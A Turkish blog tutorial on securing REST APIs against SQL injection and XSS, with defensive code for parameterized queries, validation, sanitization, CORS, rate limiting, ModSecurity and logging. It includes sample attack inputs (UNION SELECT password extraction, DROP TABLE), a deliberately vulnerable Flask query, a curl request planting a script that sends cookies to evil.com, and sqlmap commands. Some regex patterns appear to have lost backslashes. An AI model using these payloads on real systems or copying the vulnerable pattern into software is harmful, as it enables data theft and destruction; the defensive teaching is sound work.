SQL Injection ve XSS Saldırılarına Karşı REST API Güvenliğini Sağlama

Yıllar önce bir müşterimizin REST API’sinde basit bir SQL injection açığı yüzünden 50.000 kullanıcının kişisel verisi sızdı. Saldırgan tek bir HTTP isteğiyle tüm veritabanını dışarı çekti. O gün o şirkette nöbet tutmak zorunda kaldım ve sabaha kadar hasarı değerlendirdik. Bu deneyim bana bir şeyi çok net öğretti: API güvenliği, uygulama güvenliğinin en kritik halkasıdır ve çoğu zaman en ihmal edilenidir.

Bu yazıda SQL Injection ve XSS saldırılarının REST API ortamında nasıl çalıştığını, nasıl tespit edileceğini ve nasıl kapatılacağını gerçek dünya senaryolarıyla anlatacağım. Sadece teori değil, production ortamında uyguladığım pratik çözümler.

SQL Injection Nedir ve REST API’yi Nasıl Etkiler

SQL Injection, saldırganın uygulama üzerinden veritabanına doğrudan SQL komutları enjekte etmesidir. REST API’lerde bu durum genellikle query parametreleri, request body veya header değerleri üzerinden gerçekleşir.

Klasik web uygulamalarında SQL Injection genellikle form alanları üzerinden yapılır. Ancak API ortamında saldırı yüzeyi çok daha geniştir. Şu endpoint’i düşünün:

GET /api/v1/users?search=john&department=IT

Eğer backend bu parametreleri doğrudan SQL sorgusuna ekliyorsa, saldırgan şunu deneyebilir:

GET /api/v1/users?search=john'--&department=IT
# veya
GET /api/v1/users?search=john' OR '1'='1
# veya daha tehlikelisi:
GET /api/v1/users?search='; DROP TABLE users;--

Gerçek dünyada bir e-ticaret API’sinde şu tür bir açıkla karşılaştım. Sipariş sorgulama endpoint’i şuna benziyordu:

# Savunmasız Python/Flask örneği
# BU KODU PRODUCTION'DA KULLANMAYIN

query = "SELECT * FROM orders WHERE user_id = " + request.args.get('user_id')
cursor.execute(query)

Bu kod, bir saldırganın user_id=1 UNION SELECT username, password, NULL FROM users-- gibi bir payload göndererek tüm kullanıcı şifrelerini çekmesine olanak tanır.

SQL Injection’dan Korunma: Parameterized Queries

En temel ve en etkili çözüm, parametreli sorgulardır. Asla string birleştirme yapmamalısınız.

# Python/Flask ile güvenli SQL sorgusu
# psycopg2 kullanımı

import psycopg2
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/api/v1/users', methods=['GET'])
def get_users():
    user_id = request.args.get('user_id')
    
    # DOGRU YONTEM: Parameterized query
    conn = psycopg2.connect(DATABASE_URL)
    cursor = conn.cursor()
    
    query = "SELECT id, name, email FROM users WHERE id = %s"
    cursor.execute(query, (user_id,))  # Tuple olarak parametre gec
    
    results = cursor.fetchall()
    return jsonify(results)

Node.js tarafında da aynı prensip geçerlidir:

# Node.js / Express ile güvenli SQL sorgusu
# pg kütüphanesi kullanımı

const { Pool } = require('pg');
const pool = new Pool({ connectionString: process.env.DATABASE_URL });

app.get('/api/v1/products', async (req, res) => {
    const { category, minPrice } = req.query;
    
    // Parameterized query - $1, $2 placeholder kullan
    const query = {
        text: 'SELECT * FROM products WHERE category = $1 AND price >= $2',
        values: [category, minPrice]
    };
    
    try {
        const result = await pool.query(query);
        res.json(result.rows);
    } catch (err) {
        // Hata detaylarini HICBIR ZAMAN client'a gonderme
        console.error('DB Error:', err);
        res.status(500).json({ error: 'Internal server error' });
    }
});

Burada dikkat etmemiz gereken ikinci bir nokta var: hata mesajları. Veritabanı hata mesajlarını asla client’a döndürmeyin. “ERROR: column users.password does not exist” gibi bir mesaj, saldırgana veritabanı şemanız hakkında çok değerli bilgi verir.

ORM Kullanımında Dikkat Edilmesi Gerekenler

ORM kullanmak SQL Injection’a karşı koruma sağlar, ancak raw query kullanıyorsanız yine dikkatli olmanız gerekir:

# Django ORM - güvenli kullanım
# models.py

from django.db import models
from django.contrib.auth.models import User

class Order(models.Model):
    user = models.ForeignKey(User, on_delete=models.CASCADE)
    product_name = models.CharField(max_length=255)
    total = models.DecimalField(max_digits=10, decimal_places=2)

# views.py - GUVENLI
def get_user_orders(request):
    user_id = request.GET.get('user_id')
    
    # ORM ile guvenli sorgulama
    orders = Order.objects.filter(user_id=user_id).values('id', 'product_name', 'total')
    return JsonResponse(list(orders), safe=False)

# TEHLIKELI - raw() ile string birlestirme yapma
# orders = Order.objects.raw(f"SELECT * FROM orders WHERE user_id = {user_id}")

# GUVENLI raw() kullanimi - parametre kullan
orders = Order.objects.raw("SELECT * FROM orders WHERE user_id = %s", [user_id])

Input Validation Middleware Yazmak

Parameterized queries’e ek olarak, input validation katmanı eklemek derinlemesine savunma stratejisinin önemli bir parçasıdır:

# Express.js için custom validation middleware
# express-validator kütüphanesi ile

const { query, body, validationResult } = require('express-validator');

// Kullanıcı arama endpoint'i için validation kuralları
const userSearchValidation = [
    query('search')
        .optional()
        .isString()
        .trim()
        .escape()  // HTML entity encoding
        .isLength({ min: 1, max: 100 })
        .matches(/^[a-zA-Z0-9s-_.@]+$/)  // Sadece izin verilen karakterler
        .withMessage('Geçersiz arama parametresi'),
    
    query('page')
        .optional()
        .isInt({ min: 1, max: 1000 })
        .withMessage('Sayfa numarası 1-1000 arasında olmalı'),
    
    query('limit')
        .optional()
        .isInt({ min: 1, max: 100 })
        .withMessage('Limit 1-100 arasında olmalı')
];

// Validation sonuçlarını kontrol eden middleware
const handleValidationErrors = (req, res, next) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({
            error: 'Validation failed',
            details: errors.array()
        });
    }
    next();
};

// Route tanımı
app.get('/api/v1/users',
    userSearchValidation,
    handleValidationErrors,
    getUsersHandler
);

XSS (Cross-Site Scripting) ve API Güvenliği

XSS denince akla hemen browser taraflı bir saldırı gelir. “API’de ne işi var?” diye sorabilirsiniz. Aslında modern mimarilerde API’ler XSS için birincil vektör haline gelmiştir. Şöyle düşünün: API’niz bir React veya Vue uygulamasına veri besliyorsa ve o veriyi doğrudan DOM’a yazıyorsa, API’den gelen kötü niyetli veri XSS’e yol açabilir.

Stored XSS senaryosu şu şekilde işler. Bir saldırgan API üzerinden şu içeriği veritabanına kaydettirir:

# Saldırganın POST isteği
curl -X POST https://api.ornek.com/v1/comments 
  -H "Content-Type: application/json" 
  -H "Authorization: Bearer <token>" 
  -d '{
    "post_id": 42,
    "content": "<script>fetch("https://evil.com/steal?c="+document.cookie)</script>"
  }'

Bu içerik veritabanına kaydedilir. Başka bir kullanıcı yorumları getirdiğinde, frontend bunu innerHTML ile render ederse çerezler çalınır.

API Tarafında XSS Önleme

API katmanında XSS önlemenin birkaç boyutu var.

Input Sanitization: Gelen veriyi temizlemek.

# Node.js - DOMPurify ve sanitize-html kullanımı
# npm install sanitize-html

const sanitizeHtml = require('sanitize-html');

const sanitizeInput = (dirtyInput) => {
    // Tamamen HTML'i strip et (API genellikle plain text bekler)
    const cleanText = sanitizeHtml(dirtyInput, {
        allowedTags: [],  // Hic tag izin verme
        allowedAttributes: {}
    });
    return cleanText;
};

// Yorum kaydetme endpoint'i
app.post('/api/v1/comments', async (req, res) => {
    const { content, post_id } = req.body;
    
    // Sanitize et
    const cleanContent = sanitizeInput(content);
    
    // Maksimum uzunluk kontrolu
    if (cleanContent.length > 2000) {
        return res.status(400).json({ error: 'Yorum çok uzun' });
    }
    
    // Temizlenmis veriyi kaydet
    const result = await db.query(
        'INSERT INTO comments (post_id, content) VALUES ($1, $2) RETURNING *',
        [post_id, cleanContent]
    );
    
    res.status(201).json(result.rows[0]);
});

Content-Type ve Response Header’ları: API’nizin doğru Content-Type döndürdüğünden emin olun:

# Nginx konfigürasyonu - Güvenlik header'ları

server {
    listen 443 ssl;
    server_name api.ornek.com;

    # API responses icin security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Content-Security-Policy "default-src 'none'" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    
    # API response'larinda Content-Type zorunlu hale getir
    location /api/ {
        proxy_pass http://backend:3000;
        proxy_set_header Host $host;
        
        # JSON API icin ek guvence
        add_header Content-Type "application/json; charset=utf-8" always;
    }
}

CORS Konfigürasyonu ve Güvenliği

CORS yanlış yapılandırıldığında XSS saldırılarının etkisini dramatik biçimde artırır. Birçok sysadmin Access-Control-Allow-Origin: * koyup geçiyor, bu büyük bir hata:

# Express.js - Production-ready CORS konfigürasyonu

const cors = require('cors');

// İzin verilen origin listesi
const allowedOrigins = [
    'https://app.ornek.com',
    'https://admin.ornek.com',
    'https://mobile.ornek.com'
];

const corsOptions = {
    origin: (origin, callback) => {
        // Origin yoksa (curl, Postman gibi araçlar) - production'da reddet
        if (!origin && process.env.NODE_ENV === 'production') {
            return callback(new Error('Origin required in production'));
        }
        
        if (!origin || allowedOrigins.includes(origin)) {
            callback(null, true);
        } else {
            callback(new Error(`CORS policy: ${origin} not allowed`));
        }
    },
    methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
    allowedHeaders: ['Content-Type', 'Authorization', 'X-Request-ID'],
    exposedHeaders: ['X-Total-Count', 'X-Request-ID'],
    credentials: true,  // Cookie/Auth header'ları icin
    maxAge: 86400  // Preflight cache suresi (1 gun)
};

app.use('/api/', cors(corsOptions));

Rate Limiting ile Brute Force ve Injection Tarama Engelleme

Saldırganlar genellikle otomatik araçlarla yüzlerce farklı payload denerler. Rate limiting bu taramaları engellemek için kritik öneme sahiptir:

# Express.js - Gelismis rate limiting
# npm install express-rate-limit

const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const redis = require('redis');

const redisClient = redis.createClient({ url: process.env.REDIS_URL });

// Genel API rate limit
const generalLimiter = rateLimit({
    windowMs: 15 * 60 * 1000,  // 15 dakika
    max: 100,                   // 100 istek
    standardHeaders: true,
    legacyHeaders: false,
    store: new RedisStore({
        sendCommand: (...args) => redisClient.sendCommand(args),
    }),
    handler: (req, res) => {
        res.status(429).json({
            error: 'Too many requests',
            retryAfter: Math.ceil(req.rateLimit.resetTime / 1000)
        });
    }
});

// Auth endpoint'leri icin daha katı limit
const authLimiter = rateLimit({
    windowMs: 15 * 60 * 1000,
    max: 10,  // 15 dakikada sadece 10 deneme
    skipSuccessfulRequests: true,  // Basarili istekleri sayma
    keyGenerator: (req) => {
        // IP + username kombinasyonu ile daha akilli limiting
        return `${req.ip}_${req.body?.username || 'unknown'}`;
    }
});

app.use('/api/', generalLimiter);
app.use('/api/auth/login', authLimiter);
app.use('/api/auth/reset-password', authLimiter);

WAF Entegrasyonu: ModSecurity ile Nginx

Uygulama katmanında aldığınız önlemlere ek olarak, WAF (Web Application Firewall) kullanmak savunmayı derinleştirir. ModSecurity ile Nginx entegrasyonu production ortamında çok işe yarar:

# /etc/nginx/modsecurity/modsecurity.conf
# Temel ModSecurity konfigürasyonu

SecRuleEngine On
SecRequestBodyAccess On
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072

# OWASP CRS (Core Rule Set) yukle
Include /usr/share/modsecurity-crs/crs-setup.conf
Include /usr/share/modsecurity-crs/rules/*.conf

# SQL Injection icin ozel kural
SecRule ARGS "@detectSQLi" 
    "id:9001,
    phase:2,
    block,
    log,
    msg:'SQL Injection Tespit Edildi',
    logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',
    tag:'API-SECURITY',
    severity:'CRITICAL'"

# XSS icin ozel kural
SecRule ARGS "@detectXSS" 
    "id:9002,
    phase:2,
    block,
    log,
    msg:'XSS Tespit Edildi',
    tag:'API-SECURITY',
    severity:'HIGH'"
# /etc/nginx/nginx.conf - ModSecurity'yi aktif et

http {
    modsecurity on;
    modsecurity_rules_file /etc/nginx/modsecurity/modsecurity.conf;
    
    server {
        listen 443 ssl;
        server_name api.ornek.com;
        
        location /api/ {
            modsecurity on;
            proxy_pass http://backend:3000;
        }
    }
}

API Güvenlik Testleri: Kendi Sisteminizi Test Edin

Production’a almadan önce güvenlik testlerini kendiniz yapmalısınız. SQLMap ve OWASP ZAP bu iş için kullanabileceğiniz temel araçlardır:

# SQLMap ile API endpoint testi
# Sadece kendi sistemlerinizde kullanın!

# GET parametresi testi
sqlmap -u "https://api.ornek.com/v1/users?id=1" 
    --headers="Authorization: Bearer YOUR_TOKEN" 
    --level=2 
    --risk=1 
    --batch 
    --output-dir=/tmp/sqlmap-results

# POST body testi
sqlmap -u "https://api.ornek.com/v1/search" 
    --method POST 
    --data='{"query":"test","category":"books"}' 
    --headers="Content-Type: application/json" 
    --headers="Authorization: Bearer YOUR_TOKEN" 
    --level=2 
    --batch

# JSON body içindeki her parametreyi test et
sqlmap -u "https://api.ornek.com/v1/products" 
    --method POST 
    --data='{"name":"*","price":100}' 
    --headers="Content-Type: application/json" 
    -p name 
    --dbms=postgresql

Bu testleri CI/CD pipeline’ınıza entegre etmek, her deployment öncesi otomatik güvenlik taraması yapmanızı sağlar.

Loglama ve Monitoring

Saldırı girişimlerini tespit etmek ve müdahale edebilmek için doğru loglama şarttır:

# Node.js - Güvenlik olayı loglama
# winston ve morgan kullanımı

const winston = require('winston');

const securityLogger = winston.createLogger({
    level: 'info',
    format: winston.format.combine(
        winston.format.timestamp(),
        winston.format.json()
    ),
    transports: [
        new winston.transports.File({ 
            filename: '/var/log/api/security.log',
            level: 'warn'
        })
    ]
});

// Şüpheli pattern tespiti için middleware
const suspiciousPatterns = [
    /(%27)|(')|(--)|(%23)|(#)/i,     // SQL Injection
    /((%3C)|<)((%2F)|/)*[a-z0-9%]+((%3E)|>)/i,  // XSS
    /((%3C)|<)((%69)|i|(%49))((%6D)|m|(%4D))/i, // img tag
    /union.*select/i,                        // UNION SELECT
    /exec(s|+)+(s|x)pw+/i               // Stored procedure
];

const detectSuspiciousActivity = (req, res, next) => {
    const checkString = JSON.stringify({
        query: req.query,
        body: req.body,
        params: req.params
    });
    
    const isSuspicious = suspiciousPatterns.some(pattern => 
        pattern.test(checkString)
    );
    
    if (isSuspicious) {
        securityLogger.warn({
            event: 'SUSPICIOUS_REQUEST',
            ip: req.ip,
            method: req.method,
            url: req.originalUrl,
            userAgent: req.headers['user-agent'],
            userId: req.user?.id || 'anonymous',
            timestamp: new Date().toISOString()
        });
        
        // Rate limit veya block kararı burada verilebilir
        // Simdilik sadece logla, bloklama WAF katmanında yapilsin
    }
    
    next();
};

app.use('/api/', detectSuspiciousActivity);

Checklist: Production API Güvenlik Kontrol Listesi

Bu noktada, bir API’yi production’a almadan önce kontrol etmeniz gereken maddeleri listeleyelim:

  • Parameterized queries: Tüm veritabanı sorgularında string birleştirme yerine parametreli sorgular kullanılıyor mu?
  • Input validation: Tüm endpoint’lerde gelen veriler tip, uzunluk ve format açısından doğrulanıyor mu?
  • Output encoding: API yanıtlarında özel karakterler encode ediliyor mu?
  • Error handling: Veritabanı ve sistem hata mesajları client’a dönülüyor mu?
  • CORS konfigürasyonu: Wildcard origin (*) production’da kapatılmış mı?
  • Security headers: X-Content-Type-Options, X-Frame-Options ve diğer güvenlik header’ları set edilmiş mi?
  • Rate limiting: Auth ve kritik endpoint’lerde rate limiting aktif mi?
  • WAF: ModSecurity veya benzeri bir WAF çözümü devrede mi?
  • Dependency güncelleme: npm audit, pip-audit gibi araçlarla bağımlılıklar taranıyor mu?
  • Loglama: Güvenlik olayları loglanıyor ve izleniyor mu?
  • Güvenlik testi: SQLMap ve OWASP ZAP ile düzenli penetrasyon testleri yapılıyor mu?
  • Secrets yönetimi: Veritabanı parolaları ve API anahtarları environment variable veya vault üzerinden mi geliyor?

Sonuç

SQL Injection ve XSS, OWASP Top 10’da yıllardır üst sıralarda yer alıyor. Bunların hâlâ bu kadar yaygın olmasının sebebi teknik çözümlerin yokluğu değil, geliştirici ve sistem yöneticisi farkındalığının yetersizliğidir.

Yazının başında anlattığım veri sızıntısı vakasında kullanılan teknik, 2003’ten beri bilinen klasik bir SQL Injection’dı. Şirketin o açığı kapatmak için harcadığı zaman 15 dakikaydı. Ama müşteri güvenini yeniden kazanmak aylar aldı, hukuki süreç yıllarca devam etti.

Savunma stratejinizi şu üç katmanlı yapı üzerine kurun:

  • Kod katmanı: Parameterized queries, input validation, output encoding
  • Altyapı katmanı: WAF, rate limiting, güvenlik header’ları
  • İzleme katmanı: Güvenlik loglama, anomali tespiti, düzenli güvenlik testleri

Bu üç katmanı doğru kurduğunuzda, SQL Injection ve XSS gibi yaygın saldırıların büyük çoğunluğunu proaktif olarak engellemiş olursunuz. Güvenlik tek seferlik bir görev değil, sürekli bir süreçtir. Dependency güncellemelerinizi takip edin, düzenli pentest yapın ve ekibinizin güvenlik farkındalığını canlı tutun.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir